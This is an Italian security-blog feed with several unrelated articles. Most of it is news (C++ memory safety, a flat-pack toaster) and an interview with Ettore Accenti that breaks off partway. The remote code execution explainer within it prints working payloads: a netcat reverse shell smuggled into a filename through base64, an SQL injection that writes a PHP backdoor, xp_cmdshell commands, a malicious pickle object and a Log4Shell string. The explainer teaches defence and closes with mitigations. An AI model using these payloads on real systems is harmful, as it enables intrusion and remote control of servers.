L'articolo DarkLab di RHC Pubblica Il Report DarkMirror 2024: L’osservatorio delle minacce Ransomware proviene da il blog della sicurezza informatica.

Bjarne Stroustrup, creatore del linguaggio C++, ha contattato la comunità degli sviluppatori chiedendo la protezione del suo linguaggio di programmazione, che negli ultimi anni è stato oggetto di critiche da parte degli esperti di sicurezza informatica. Il motivo principale degli attacchi è il problema della sicurezza della memoria, che ha portato all’esclusione del C++ dall’elenco dei linguaggi consigliati nei progetti governativi e aziendali.

C e C++ richiedono una gestione manuale della memoria, il che li rende vulnerabili a bug quali buffer overflow o perdite di memoria. Problemi come questi costituiscono la maggior parte delle vulnerabilità nelle basi di codice di grandi dimensioni. Di conseguenza, le principali organizzazioni mondiali si stanno rivolgendo sempre più a linguaggi con una migliore protezione della memoria, come Rust, Go, C, Java, Swift e Python.

La comunità C/C++ ha risposto con una serie di iniziative volte a migliorare la sicurezza, tra cui i progetti TrapC, FilC, Mini-C e Safe C++. Tuttavia, secondo Stroustrup, il problema non è solo la lentezza dei progressi, ma anche la mancanza di una chiara narrazione pubblica in grado di competere con la crescente popolarità di Rust. Nel suo discorso al comitato per gli standard C++ (WG21), ha chiesto un’azione urgente e ha proposto di utilizzare il framework Profiles per migliorare la sicurezza.

Stroustrup sottolinea che la sicurezza della memoria è sempre stata un obiettivo fondamentale del C++ e invita a non prendere il suo tono calmo come un segno di indifferenza a ciò che sta accadendo. Ha ricordato di aver già avvisato la comunità del rischio che il C++ venisse distrutto da modifiche caotiche al linguaggio.

Una delle preoccupazioni è stata la richiesta della Cybersecurity and Infrastructure Agency (CISA) degli Stati Uniti, secondo cui entro il 2026 i produttori dovranno correggere tutte le vulnerabilità di gestione della memoria o passare completamente a linguaggi di programmazione sicuri. Stroustrup ritiene che ciò rappresenti una seria minaccia per il futuro del C++.

Ai programmatori C++ vengono offerte diverse soluzioni, ma nessuna di queste è ancora diventata uno standard. Ad esempio, il progetto TrapC propone l’uso di “puntatori sicuri” che impediscono errori di segmentazione e di superamento dei limiti della memoria. Tali soluzioni richiedono però modifiche significative al codice e non possono essere implementate immediatamente.

Gli esperti sono divisi sul futuro del C++. Alcuni, come David Chisnall dell’Università di Cambridge, ritengono che sostituire completamente il C++ con altri linguaggi sia impossibile perché contiene già troppo codice. Viene invece proposto un approccio evolutivo: la graduale modernizzazione del linguaggio con l’introduzione di strumenti per migliorare la sicurezza.

Nel frattempo, Google e altri giganti della tecnologia stanno spingendo sempre di più verso linguaggi con protezione completa della memoria, il che sta mettendo ulteriore pressione sulla comunità C++.

La domanda è: la comunità C++ troverà una soluzione salvifica prima del 2026 oppure questo leggendario linguaggio finirà inevitabilmente per cadere nell’oblio?

L'articolo C++ Verso L’oblio! Il suo creatore allerta la community a trovare velocemente una soluzione proviene da il blog della sicurezza informatica.

Tra tutte le vulnerabilità la più temuta per le vittime e la più ricercata per gli aggressori è la remote code execution, tristemente nota RCE. Questa vulnerabilità permette di eseguire dei comandi arbitrari sul sistema attaccato. Questi possono essere inviati tramite script: pensiamo ad una pagina php caricata in un server web, comandi shell di windows oppure addirittura istruzioni macchina se parliamo di buffer overflow.

Questa tipologia di vulnerabilità permette di ottenere velocemente il controllo della vittima e questo attacco viene eseguito in remoto senza accesso fisico. Queste vulnerabilità sono sfruttate per vario genere, dall’accesso abusivo dei sistemi, installazione di software non autorizzato.

Ma non finisce qui: alcune caratteristiche ne amplificano l’effetto per esempio quando questa vulnerabilità è “non autenticata” (si parla quindi di unauthenticated RCE) oppure si ottengono fin da subito permessi elevati (come “system” su sistemi Windows o “root” su quelli Linux). Vulnerabilità del genere possono raggiungere tranquillamente score CVSS dai 9.8 ai 10.

Quale impatto può avere una vulnerabilità RCE?

Qui alcuni esempi di cosa può comportare questa vulnerabilità:

Penetrazione: gli aggressori possono accedere alla rete o al sistema.

• Privilege Escalation: dopo aver ottenuto l’accesso tramite un RCE, l’aggressore potrebbe provare ad aumentare i suoi privilegi sul sistema per aumentare il suo impatto e ottenere più accesso.
• Movimento laterale: gli aggressori potrebbero usare le vulnerabilità RCE per muoversi lateralmente, compromettendo sistemi aggiuntivi ed espandendo il loro controllo e accesso attraverso la rete. Ciò può portare a una violazione più estesa e a danni maggiori.
• Esfiltrazione: gli aggressori possono intercettare informazioni sensibili, accedervi ed esfiltrare. Ciò avviene tramite vari mezzi, tra cui malware che ruba i dati e software di scraping della memoria che cerca le credenziali.
• DOS e DDOS: i sistemi possono essere bloccati tramite attacchi RCE che esauriscono le risorse di rete o delle applicazioni, negando così agli utenti legittimi il servizio dell’applicazione.
• Ransomware: attraverso queste vulnerabilità RCE gli aggressori impediscono alle vittime di accedere ai sistemi e ai dati in cambio di denaro/riscatto.
• Backdoor, botnet e persistenza: l’attaccante che ha compromesso la macchina tramite un RCE può creare una backdoor per connettersi nuovamente alla macchina senza dover sfruttare nuovamente la vulnerabilità. Questo è noto come persistenza. Questo può essere utile, ad esempio, per incorporare la macchina compromessa in una botnet.
• Danni alla reputazione: un attacco RCE riuscito può danneggiare la reputazione di un’organizzazione, portando alla perdita di fiducia e sicurezza da parte dei clienti. Ciò può avere effetti a lungo termine sulle relazioni commerciali e sulla posizione di mercato.
• Interruzione operativa: le vulnerabilità RCE possono interrompere le normali operazioni aziendali causando interruzioni di sistema, corruzione dei dati e interruzioni del servizio.

Questa interruzione può influire sulla produttività, sul servizio clienti e sulla continuità aziendale complessiva.

Alcune distinzioni ed esempi

Un esempio è una vulnerabilità incontrata alcuni anni fa. Correva Marzo dell’anno 2021 e una mattina iniziava con un devastante attacco, all’inizio sconosciuto, che colpiva i sistemi di posta Exchange tramite uno zero day che sarà poi chiamato Proxy Logon (CVE-2021-26855 + CVE-2021-27065).

gli aggressori tentavano di caricare del codice attivo per poter compromettere i server di posta, per fortuna quasi tutti rilevati dagli EDR installati. Questa tipologia di attacco è appunto una esempio di remote code execution ed è stata classificata con 9.8 cvss v3.Per maggiori info: proxylogon.com/

La maggior parte di RCE sono concatenate ad altre vulnerabilità oppure sfruttate per altre debolezze inserite nel codice o nelle configurazioni, vediamone alcune con qualche semplice esempio:

Buffer Overflow

Nella sicurezza dello sviluppo dei software, un buffer overflow è un’anomalia in cui un programma, durante la scrittura di dati troppo grandi ricevuti in input in un buffer va a scrivere nelle aree di memoria adiacente.

Così il programma in seguito si troverà ad accedere a dei puntatori di memoria non validi perché sovrascritti. Non avendo più un riferimento valido alla successiva area di memoria che contiene la prossima istruzione da eseguire, va in crash oppure esegue un accesso non autorizzato a un’altra area di memoria.

Un attaccante, individuando e manipolando le aree che porterebbero al comportamento spiegato prima, può modificare il flow di esecuzione attraverso un input costruito appositamente, costringendo il programma ad eseguire del codice arbitrario iniettato dall’attaccante.

Prediamo ad esempio la CVE-2017-14980 che riguarda Sync Breeze Enterprise 10.0.28, un software che permette la sincronizzazione tra file. Questo software dispone di un interfaccia web protetta da login.

Si era scoperto che passando nella chiamata di login un username molto lungo, il software generava un buffer overflow.

Quindi come detto prima, generando un payload apposito passato nel input username nella richiesta di login si poteva sfruttare questo buffer overflow per eseguire del codice remoto.

Ne avevamo già parlato qui con anche un esempio pratico dal team di Hackerhood

Mancanza di validazione dell’input

Quando i dati trasmessi dal client al server non vengono sufficientemente puliti da caratteri che potrebbero modificare il comportamento dell’applicazione arrivando all’esecuzione di codice arbitrario.

Ipotizziamo questo frammento di codice dove il sistema carica un file in google drive tramite file caricato dall’utente.

exec("python pydrive.py " . $path . addslashes(trim($fileName));

In questo caso la procedura comporrà un comando python e in seguito lo avvierà in una shell del sistema. Quello che potremmo fare è sfruttare il nome del file per poter accordare un comando. Sono presenti dei controlli ma questi potrebbero mitigare un sql injection, ma non sono sufficienti per mitigare questo tipo di attacco RCE e quindi è possibile accordare un secondo comando.

Il comando potrebbe essere “rm tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 10.11.0.4 1234 >/tmp/f“, non potrà essere usato per rinominare un file prima di caricarlo in quanto alcuni caratteri speciali lo impediscono (anche se in realtà potremmo modificare la chiamata REST abbiamo tentato un’altra strada).

Niente paura, per chi conosce la bash sa che è possibile eseguire un comando encodato in base64: utilizzando il carattere $() la shell eseguirà l’interno del contenuto ancor prima di eseguire il comando python, quindi carichiamo un file con nome:

$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);

L’applicazione si troverà a eseguire dalla bash di linux questo comando ed ad avviare una reverse shell.

python pydrive.py /test/$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);

Il principale problema è che non sono stati filtrati i caratteri che in questo caso potrebbero interagire con i comandi che verranno eseguiti nella shell.

File Uploads

Un caso classico di RCE è quello legato al caricamento di file arbitrari non correttamente filtrati contenente codice attivo. Quando le funzionalità di caricamento file non sono implementate e testate correttamente, possono lasciare aperta la strada al caricamento di file dannosi per ottenere RCE.

In questo scenario un’ipotetica applicazione web PHP offre all’utente una funzionalità per caricare immagini e farle vedere in una galleria dopo averle caricate. Queste immagini sono archiviate in una cartella “/img/” in uno spazio pubblico del server web. I file non vengono verificati o rinominati. Per cui potremmo caricare un file contenente il seguente codice “” con l’estensione .php, come ad esempio exploit.php.

A questo punto una volta caricato il messaggio, ispezioniamo il DOM e dovremmo trovare l’immagine caricata, o quella che doveva essere.

Richiamando questo percorso, con molta probabilità eseguiremo il codice contenuto nel file. In questo caso non sono stati controllati né il contenuto né l’estensione del file caricato. se possibile evitare che il file sia accessibile pubblicamente. a questo punto non ci resta che richiamare url individuato: example.local/img/exploit.php?…

Injection

Queste vulnerabilità derivano da una sanificazione inadeguata degli input Se un aggressore fornisse input dannosi appositamente creati, alcuni di questi possono essere interpretati come comandi eseguibili, consentendo all’aggressore di eseguire il proprio codice. Di questa categoria fanno parte SQLi (sql injection) e SSTI (server side template injection)

SQL INJECTION

Una SQL Injection (o SQLi) è una vulnerabilità di sicurezza informatica che consente a un attaccante di interferire con le query SQL che un’applicazione invia a un database. In sostanza, l’attaccante “inietta” codice SQL dannoso all’interno di input dell’utente (come campi di testo in un modulo web) per manipolare la query originale e ottenere risultati non desiderati.

Per esempio in Mysql se il grant FILE è abilitato nei permessi dell’utente che sta eseguendo le query, è possibile arrivare ad eseguire del codice remoto.

Ipotizziamo in questo pezzo di codice che gestisce la richiesta a db di un pagina prima di eseguirla:

$sql = 'SELECT * FROM user WHERE username = "' + $username '"'

L’applicazione si aspetterebbe un username per verificare se sia esistente o no, come ad esempio “mario”. Se invece di mario, passiamo questo frammenti di codice SQL:

1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #

Verrà aggiunto alla QUERY originale di prima creando una nuova che il motore database eseguirà.

SELECT * FROM user WHERE username = "1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #

Il processo è estremamente semplificato ma in questo modo avremmo indotto la query sql a scrivere del contenuto in un percorso arbitrario.

example.local/backdoor.php?cmd…

Se fossimo invece in ambito Microsoft sql server potremmo addirittura inviare dei comandi shell al motore database pronti da essere eseguiti aggiungendo questi comandi alla query originale:

EXEC sp_configure 'Show Advanced Options', 1; reconfigure; sp_configure; EXEC sp_configure 'xp_cmdshell', 1; reconfigure; xp_cmdshell "whoami";

La vittima eseguirà whoami nella sua console. Uno dei motivi è il concatenamento di codice sql e variabili senza alcun genere di controllo oltre a permettere comandi che potrebbero essere disattivati come FILE.

In alcune condizioni, l’utilizzo di utenti database con privilegi elevati (come root o sa), possono amplificare la potenza dell’attacco e permettono per esempio l’esecuzione di comandi come xp_cmdshell in mssql.

SERVER-SIDE TEMPLATE INJECTION TO RCE

Proprio come con SQL injection, quando l’input utente non filtrato viene passato ad un motore di creazione di template e questo viene concatenato nei template anziché essere trasmesso come dato, può generarsi una condizione di esecuzione di codice remoto. Vediamo un esempio applicato a una vecchia versione di Twig (1.9.0)

I template statici che forniscono semplicemente dei placeholder in cui viene reindirizzato il contenuto dinamico, non sono generalmente vulnerabili all’iniezione di template lato server come nell’esempio qui sotto:

$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );

Ma se invece l’input dell’utente viene concatenato nel template prima del rendering come in questo esempio:

$output = $twig->render("Dear " . $_GET['name']);

Questa volta gli utenti possono personalizzare parti del codice prima che venga inviato al rendering.

Quindi piuttosto che passare un valore statico, come ad esempio “mario”, passiamo invece {{payload}} come parametro GET, potendo così eseguire del codice arbitrario:

example.com/?name={{_self.env.…

In questo caso accedendo all’environment di Twig e usando la registerUndefinedFilterCallbackfunzione, è possibile registrare un alias per la funzione exec. Chiamando poi getFilter con il comando desiderato ls [call_user_func(‘exec’,’id’);].

A questo punto vedremo output del comando.

Unsafe Deserialization

Questo metodo facilita la trasmissione dei dati impacchettandoli in una singola stringa di bit, che il sistema ricevente può decodificare.

Se la struttura dei dati serializzati non è ben definita, un aggressore potrebbe creare un input che verrebbe interpretato erroneamente durante l’unpacking.

Questa interpretazione errata potrebbe portare all’esecuzione di codice remoto, a seconda di come i dati vengono elaborati e archiviati.

Il codice seguente è un semplice esempio di utilizzo di cPickle per generare un auth_token, che è un oggetto utente serializzato, per poi salvarlo in un cookie.

import cPickle
from base64 import b64encode, b64decode

class User:
def __init__(self):
self.username = "anonymous"
self.password = "anonymous"
self.rank = "guest"

h = User()
auth_token = b64encode(cPickle.dumps(h))
cookie = {'auth_token': auth_token}

pickle.dumps() in Python è una funzione che serve a serializzare un oggetto in un flusso di byte. Output ottenuto può essere poi utilizzato per esempio nei cookie per gestire processi di autenticazione.

A ogni richiesta poi la vittima eseguirà la deserializzazione poi per ricostruire l’oggetto.

token = cPickle.loads(b64decode(new_token))

La vulnerabilità si verifica quando l’aggressore riesce a manipolare questo flusso di dati, modificando in questo caso l’oggetto serializzato presente nel cookie, per esempio, del browser.

Per cui creando un nuovo oggetto serializzato ad-hoc, possiamo eseguire del codice remoto nella vittima una volta che viene de-serializzato per leggere il contenuto.

import cPickle, os

from base64 import b64encode, b64decode

class Evil(object):
def __reduce__(self):
return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))

Quando l’oggetto viene deserializzato sul server, il metodo __reduce__ verrà invocato ed eseguirà il comando remoto “whoami”.

RCE VIA RACE CONDITION

Una Race Condition si verifica quando il risultato finale dipende dall’ordine preciso in cui questi processi/thread eseguono le loro operazioni. In altre parole, il risultato diventa imprevedibile e può variare a seconda di quale processo “vince la gara” nell’accedere per primo alla risorsa.

Prendiamo ad esempio la CVE-2021-24377, il sistema prevede il caricamento di un file zip, in seguito lo scompattamento di tutti i file in una directory nota per poi infine rimuovere i file appena estratti.

La condizione di RACE CONDITION si verificherà se subito dopo il caricamento di questo file tenteremo più volte di chiamare il link pubblico a un file contenuto nel momento che il sistema inizierà a scompattare lo zip prima che la procedura finisca la scompattazione e quindi la rimozione dei file scompattati.

Se l’archivio includesse un file con contenuto attivo PHP (backdoor.php) potremmo quindi richiamare questo trasformando l’attacco da una race condition a una RCE.

LFI/RFI to RCE

LFI permette di caricare del contenuto locale dove è presente del codice attivo che l’applicazione eseguirà. Il primo obiettivo è quello di riuscire a caricare questo contenuto. In questo esempio abbiamo un server web apache con le configurazione di default, dove le varie pagine sono chiamate includendo il file nel url.

example.local?page=index.php

a questo punto ipotizzando che i log di apache siano nel percorso /var/logs/httpd/access.log potremmo iniettare del codice php tramite netcat.

nc ip port

una volta aperta la connessione scriveremo:

a questo punto non faremmo altro nel raggiungere il sito ed eseguire dei comandi tramite il link:

example.local?page=/var/logs/h…

Per quanto riguarda il remote inclusion è ancora più semplice. Consiste nel caricare del contenuto remoto solitamente tramite un url. Se il server web è abilitato per includere risorse remote (allow_url_include=on), potremmo includere il codice mostrato prima per esempio su pastbin.

Quindi richiamarlo

example.local?page=https://pas…

DDL INJECTION

DLL injection è una tecnica che permette di eseguire codice arbitrario all’interno dello spazio di indirizzamento di un processo in esecuzione. Questo viene fatto caricando una DLL (Dynamic Link Library) nel processo target.

I principali passaggi sono:

Allocazione di memoria: Il processo iniettore alloca memoria nel processo target.
Scrittura del percorso della DLL: Il percorso della DLL da iniettare viene scritto nella memoria allocata.
Caricamento della DLL: Viene chiamata la funzione LoadLibrary per caricare la DLL nel processo target.

Un esempio reale è la CVE-2020-7315. La vulnerabilità affligge McAfee Agent (MA) per Windows precedente alla versione 5.6.6 e consente agli utenti locali di eseguire codice arbitrario tramite l’utilizzo di una DLL dannosa.

La causa è una DDL mancante nel percorso C:\Windows\System32\ che il processo di McAfee macompatsvc.exe tenta di caricare all’avvio.

Quindi un attaccante posizionando in quel percorso una nuova DLL malevola, può eseguire da parte del eseguibile del codice malevolo al riavvio del processo.

Un altro attacco più sofisticato è quello di utilizzare degli injector che attraverso le API VirtualAllocEx, WriteProcessMemory, e CreateRemoteThread caricando dinamicamente una DLL in un processo già attivo.

In un sistema vulnerabile dopo averlo compromesso, basterebbe identificare un PID di un processo target. Quindi è necessario forgiare una DLL malevola e iniettarla con un injector.

A grandi linee il processo è questo:

• Con tasklist identificare il PID target (es 3456)
• Compilare injector e la DLL
• Eseguire dllinj.exe 3456
• A questo punto la DLL è stata caricata ed eseguita

Qui degli esempi di DLL Injector e payload:

DLL Injector

github.com/PacktPublishing/Mal…

DDL Payload

github.com/PacktPublishing/Mal…

Questa tecnica può rappresentare una minacce significativa, specialmente per i sistemi mal configurati e legacy. Questi sistemi spesso mancano delle patch di sicurezza e delle configurazioni necessarie per difendersi da attacchi così sofisticati, oppure degli EDR che rilevino abuso di queste API da parte dei processi.

L’utilizzo di queste api come VirtualAlloc lo avevamo visto nell’analisi del infostealer Tesla Agent.

redhotcyber.com/post/rhc-da-vi…

Common Vulnerabilities and Exposures (CVEs)

Sfruttare determinati CVE è un altro metodo per ottenere l’esecuzione di codice remoto. Le aziende dietro i programmi bug bounty integrano servizi e pacchetti di terze parti (come librerie e framework) tutto il tempo, poiché possono accelerare lo sviluppo e ridurre i costi di tecnologia generali ad esso associati.

Ma questo ha un altro costo: questi servizi integrati possono spesso contenere codice non sicuro che possono portare a RCE. Prendiamo ad esempio Log4J (CVE-2021-44228), un semplice payload come quello qui sotto avrebbe potuto avere un impatto su qualsiasi server che utilizza Apache Log4J, come ad esempio i sistemi di virtualizzazione Vmware.

${jndi:ldap://url.com/exploit}

Come mitigare gli attacchi RCE?

Esistono differenti metodi per mitigare gli impatti di una Remote Code Execution, di seguito ne analizzeremo alcuni.

Validazione e sanificazione degli input

• Validare gli input: Applicare controlli rigorosi su tutti i dati forniti dagli utenti, verificando che rispettino il formato, la lunghezza e il tipo di dato atteso. Non fidarsi mai della validazione lato client e validare sempre sul server.Don’t trust, verify.
• Sanificare gli input: Oltre alla validazione, è necessario ripulire o codificare i dati in input per neutralizzare eventuali caratteri o sequenze dannose.

Pratiche di codifica sicura

• Query parametrizzate (Prepared Statement): Fondamentale per prevenire SQL Injection. Non concatenare mai input dell’utente direttamente nelle query SQL.
• Evitare eval() (e funzioni simili): Queste funzioni eseguono codice arbitrario e sono estremamente pericolose se coinvolgono input dell’utente. Quasi sempre esistono alternative più sicure.
• Principio del minimo privilegio: Concedere solo i permessi necessari a utenti e processi. Limitare inoltre l’accesso a risorse e funzionalità sensibili.
• Gestione sicura delle sessioni: Utilizzare ID di sessione robusti, implementare timeout di sessione adeguati e rigenerare l’ID di sessione dopo il login.
• Gestione degli errori: evitare di rivelare informazioni sensibili nei messaggi di errore. Registrare gli errori per il debug, ma presentare messaggi di errore generici agli utenti.

Gestione delle dipendenze e patch

Mantenere il software aggiornato: Aggiornare regolarmente software, librerie, framework e sistemi operativi con le patch di sicurezza più recenti, incluse le dipendenze di terze parti. Scansione delle vulnerabilità: Utilizzare strumenti per identificare vulnerabilità note nelle dipendenze.

Processo di gestione delle patch: Implementare un processo formale per tracciare, testare e applicare le patch di sicurezza.

Deserializzazione sicura

Evitare la deserializzazione di dati non attendibili: Se possibile, evitare di deserializzare dati provenienti da fonti non attendibili. Validare i dati deserializzati: Se la deserializzazione è necessaria, convalidare la struttura e il contenuto degli oggetti deserializzati prima di utilizzarli.

Utilizzare librerie di deserializzazione sicure: Utilizzare librerie progettate per prevenire vulnerabilità di deserializzazione.

Sicurezza della memoria

• Protezione da Buffer Overflow: Utilizzare tecniche appropriate per prevenire buffer overflow, come il controllo dei limiti e funzioni di gestione delle stringhe sicure.
• Linguaggi memory-safe: Considerare l’utilizzo di linguaggi di programmazione memory-safe (ad esempio, Rust, Go) quando possibile, poiché offrono protezione integrata contro molte vulnerabilità legate alla memoria.

Web Application Firewall (WAF)

Implementare un WAF: Un WAF può aiutare a rilevare e bloccare traffico dannoso, inclusi tentativi di sfruttare vulnerabilità RCE e addirittura 0day.

È un importante livello di difesa e prevenzione, ma non sostituisce le pratiche di codifica sicura e tutte quelle citate precedentemente!

Gestione sicura dei file

• Validare gli upload di file: Convalidare rigorosamente tipi di file, dimensioni e contenuto. Non fidarsi solo dell’estensione del file
• Archiviare i file caricati in modo sicuro: Archiviare i file caricati al di fuori della root web e utilizzare permessi di file appropriati per impedirne l’esecuzione.
• Disabilitare la navigazione delle directory: Impedire agli utenti di navigare nelle directory contenenti i file caricati.

Esecuzione di Test di sicurezza

• Analisi statica: Utilizzare strumenti di analisi statica del codice per identificare potenziali vulnerabilità nel codice sorgente prima che venga distribuito.
• Analisi dinamica (DAST): testare l’applicazione in esecuzione per identificare vulnerabilità.
• Penetration testing: Simulare attacchi reali per scoprire debolezze di sicurezza.
• Revisioni del codice: Condurre revisioni del codice regolari per identificare e risolvere problemi di sicurezza.
• Analisi della composizione del software (SCA): Analizzare le dipendenze dell’applicazione per identificare vulnerabilità note.

Rafforzare le protezioni della memoria dei processo:

• Control Flow Guard: Utilizzare il Control Flow Guard (CFG) per prevenire il dirottamento.
• DEP e ASR: Abilitare la prevenzione dell’esecuzione dei dati (DEP) e la randomizzazione del layout dello spazio degli indirizzi (ASLR) per randomizzare gli indirizzi di memoria e impedire l’iniezione.

Utilizzare EDR efficaci

• Monitor API: utilizzare degli EDR che monitorano chiamate alle API VirtualAllocEx, WriteProcessMemory, CreateRemoteThreadsospette dai processi.

Altre considerazioni

• Intestazioni di sicurezza: Utilizzare intestazioni di sicurezza (ad esempio, Content Security Policy (CSP), HTTP Strict Transport Security (HSTS)) per mitigare vari tipi di attacchi lato browser.
• Limitazione frequenza dei login: Limitare la frequenza con cui un attaccante possa eseguire continui tentativi di login per prevenire attacchi brute-force.
• Logging e monitoraggio: Registrare eventi relativi alla sicurezza e monitorare i sistemi per attività sospette. Impostare avvisi per potenziali attacchi.
• Piano di risposta agli incidenti: Avere un piano in atto su come rispondere agli incidenti di sicurezza.

Conclusione

Le vulnerabilità che portano ad una RCE sono questioni veramente serie e sono più diffuse di quanto si vorrebbe. Quando si realizza una applicazione o dei sistemi client-server, bisognerebbe sempre seguire le buone pratiche sia in fase di progettazione che di realizzazione ma anche prima di metterla in produzione e durante il mantenimento nel tempo.

Una raccomandazione è quella di monitorare costantemente le vulnerabilità attraverso anche community come RedHotCyber e tramite i comunicati dei produttori dei software (in cui molte volte è possibile iscriversi per ricevere i loro comunicati). Anche Agenzia per la cybersicurezza nazionale, come possiamo leggere dalle FAQ, monitora e invia preventivamente informazioni sulle minacce emergenti e relative attività di mitigazione attraverso i suoi canali pubblici.

Possiamo quindi seguire il loro canale Telegram al link https://t.me/s/CSIRT_Italia
Un altro canale interessante è quello del cert agid al link t.me/certagid

L'articolo Alla scoperta della Remote Code Execution (RCE). Il bug di sicurezza più temuto! proviene da il blog della sicurezza informatica.

The toaster is a somewhat modest appliance that is often ignored until it stops working. Many cheap examples are not made to be easily repaired, but [Kasey Hou] designed a repairable flat pack toaster.

[Hou] originally planned to design a repairable toaster to help people more easily form an emotional attachment with the device, but found the process of disassembly for existing toasters to be so painful that she wanted to go a step further. By inviting the toaster owner into the process of assembling the appliance, [Hou] reasoned people would be less likely to throw it out as well as more confident to repair it since they’d already seen its inner workings.

Under the time constraints of the project, the final toaster has a simpler mechanism for ejecting toast than most commercial models, but still manages to get the job done. It even passed the UK Portable Appliance Test! I’m not sure if she’d read the IKEA Effect before running this project, but her results with user testing also proved that people were more comfortable working on the toaster after assembling it.

It turns out that Wikipedia couldn’t tell you who invented the toaster for a while, and if you have an expensive toaster, it might still be a pain to repair.

hackaday.com/2025/03/02/flat-p…

Un’intervista esclusiva a Ettore Accenti. Pioniere dei pionieri della rivoluzione tecnologica in Italia. Ingegnere e imprenditore, ha segnato la storia dell’informatica italiana. Fondatore di Eledra 3S negli anni ’60, ha portato i microprocessori Intel in Italia negli anni ’70 e reso accessibili i computer Amstrad negli anni ’80, collaborando con aziende leader del settore.

Ho incontrato Ettore Accenti, ingegnere e fondatore di Amstrad Italia, in un grigio pomeriggio di febbraio. La nostra chiacchierata si è subito trasformata in un viaggio storico: un racconto che inizia a Milano, alla fine degli anni Sessanta, attraversa gli Ottanta e arriva ai giorni nostri, testimoniando in prima persona gli eventi che hanno forgiato la Silicon Valley.

La nascita dell’industria elettronica, lo sviluppo tecnologico e le storie di visionari che trasformarono la Valle di Santa Clara nel Sancta Sanctorum della tecnologia. Decisioni rivoluzionarie – come quella di Intel di abbandonare le memorie per concentrarsi sui microprocessori – vennero prese nelle stanze “segrete” dei colossi del settore, plasmando il futuro digitale. Scienziati, inventori e trilioni di dollari hanno catapultato il mondo nella rivoluzione informatica, partendo da una terra un tempo dominata da frutteti. In sole due ore di intervista, Accenti mi ha trasportato, con il pathos del suo racconto, in quegli ambienti, facendomi scoprire storie e persone che altrimenti sarebbero rimaste nell’ombra.

L’ingegnere Accenti incarna le qualità esemplari degli italiani: l’intraprendenza milanese, l’anarchia creativa napoletana, la tenacia dei meridionali e l’ingegno di una consorte siciliana. Questo mix spiega i suoi successi, nonostante un contesto spesso poco favorevole. Ma come ebbe inizio questa avventura? Scopriamolo insieme.

Nato a Milano in una famiglia di ingegneri, coltivò fin da piccolo una passione viscerale per la tecnologia, accompagnata dall’amore per la fotografia. Dopo il liceo, all’Istituto Zaccaria, si iscrisse al Politecnico di Milano. La scintilla definitiva si accese durante le scuole medie, quando, leggendo un libricino divulgativo, scoprì le onde hertziane e realizzò il suo primo ricevitore radio.

Negli anni in cui, all’Università di Berkeley, prendeva forma il movimento del Sessantotto – che in Italia culminò con l’autunno caldo – Accenti, a Milano, saldava transistor, replicando in piccolo la rivoluzione tecnologica d’oltreoceano. Collaborando con una rivista di elettronica, si immerse nello studio dei semiconduttori, i materiali alla base dei transistor che di lì a poco avrebbero sostituito le ingombranti valvole termoioniche. Fu così che ebbe inizio la sua missione: trasformare l’Italia da spettatrice a protagonista dell’era dei microchip.

Per colmare le lacune dell’editoria hobbistica, utilizzò le “replay card” – cartoline prestampate per richiedere dati tecnici alle aziende -. Grazie a questo sistema, ottenne manuali e componenti da aziende come Philips e SGS, realizzando progetti pionieristici. Ma il salto definitivo arrivò con Intel.
Ing. Ettore Accenti
Carlo: Ingegnere, come iniziò la collaborazione con Intel?

Accenti: Nell’agosto del 1969, leggendo la rivista Electronics, scoprii la neonata Intel, fondata da Robert Noyce e Gordon Moore a Mountain View. Da amministratore di Eledra 3S, inviai una lettera – scritta dalla mia segretaria, futura moglie e studentessa alla Bocconi – per propormi come loro rappresentante in Italia.

Carlo: Parliamo di Robert Noyce, co-inventore del circuito integrato, e di Gordon Moore, padre dell’omonima legge?

Accenti: Esatto. Dopo mesi di silenzio, mi chiamò Jean Paulsen di Intel Europa. Organizzammo un incontro a Milano e, nonostante le titubanze iniziali, ottenni un periodo di prova di tre mesi e la documentazione per due prodotti: la memoria i3101 e la Silicon-MOS da 256 bit.

Legge di Moore, Steve Jurvetson

Carlo: Ha conosciuto i giganti dell’informatica?

Accenti: Certo. Oltre agli affari, volevo scoprire le persone dietro i nomi, le cui storie sono leggendarie. Conosci la vicenda di Noyce e Moore?

Carlo: Racconti Ingegnere.

Accenti: William Shockley, premio Nobel per la Fisica nel 1956, lasciò i Bell Labs nel 1955 per fondare a Mountain View la Shockley Semiconductor. Tra i primi assunti vi furono Gordon Moore (chimico) e Robert Noyce (fisico), che nel 1957 abbandonarono l’azienda insieme ad altri sei colleghi, gruppo noto come gli “8 traditori”, per fondare la Fairchild Semiconductor. Nel 1968, Noyce e Moore lasciarono anche Fairchild per creare Intel. Altri ex Fairchild, come Jerry Sanders, fondarono AMD nel 1969, mentre National Semiconductor, esistente dal 1959, reclutò talenti proprio da Fairchild.
Per gentile concessione dell’Ing. Ettore Accenti
Carlo: Avviata la collaborazione, è mai volato in America, alla sede di Intel?

Accenti: Sì, già nel primo anno andai in California per incontrare i fondatori di Intel. Partecipai anche a incontri in Italia con dirigenti della stessa azienda, ma l’esperienza più significativa fu quella a Mountain View.

Carlo: Chi incontrò alla Intel?

Accenti: Oltre a Noyce e Moore, incontrai Bob Graham, il marketing manager. In Italia, negli uffici della mia azienda, ricevetti visite da Mike Markkula, Ted Hoff e Stan Mazor.

Carlo: Markkula è una figura chiave. Quale ruolo ricopriva?

Accenti: Markkula era sales manager di Intel, ma la svolta arrivò nel 1976, quando investì 250.000 dollari in Apple, salvando Jobs e Wozniak dal fallimento. Senza di lui, Apple come la conosciamo oggi forse non esisterebbe.

Carlo: All’inizio Intel produceva memorie, non processori. Si imbatté in problemi tecnici?

